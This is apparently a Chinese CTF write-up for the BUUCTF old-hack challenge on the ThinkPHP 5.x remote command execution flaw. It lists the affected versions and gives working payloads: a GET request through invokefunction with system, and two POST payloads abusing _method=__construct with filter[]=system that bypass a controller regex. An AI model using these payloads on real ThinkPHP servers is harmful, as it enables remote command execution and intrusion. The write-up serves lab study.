ThinkPHP 5.x远程命令执行漏洞

ThinkPHP 5.x远程命令执行漏洞

前言

  • 环境:buuctf中[BJDCTF 2nd]old-hack
  • 知识点:ThinkPHP5.x远程命令执行漏洞
  • 参考:博客,博客2

做题

f12无提示,响应包无提示,后台不能扫,但是根据主页面有个ThinkPHP,猜测是ThinkPHP框架的漏洞

于是网上找啊找,找到了ThinkPHP5.x关于rce的漏洞

漏洞范围

ThinkPHP版本:5.x < 5.1.31, <= 5.0.23

找到个payload

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

但是提示报错,这里存在过滤

        if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

^在中括号外面表示字符串的开头,在里面就是匹配除中括号之外的字符,$表示字符串的结尾

表示只匹配到字母与点的字符串,出现其他字符将会抛出404

这里我一开始想着怎样绕过这个正则,没想到会还有另外个payload是通过post方式的,这样就绕过了过滤

payload:

index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

或者是

index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=GET&get[]=whoami
原文地址:https://www.cnblogs.com/NineOne/p/14071471.html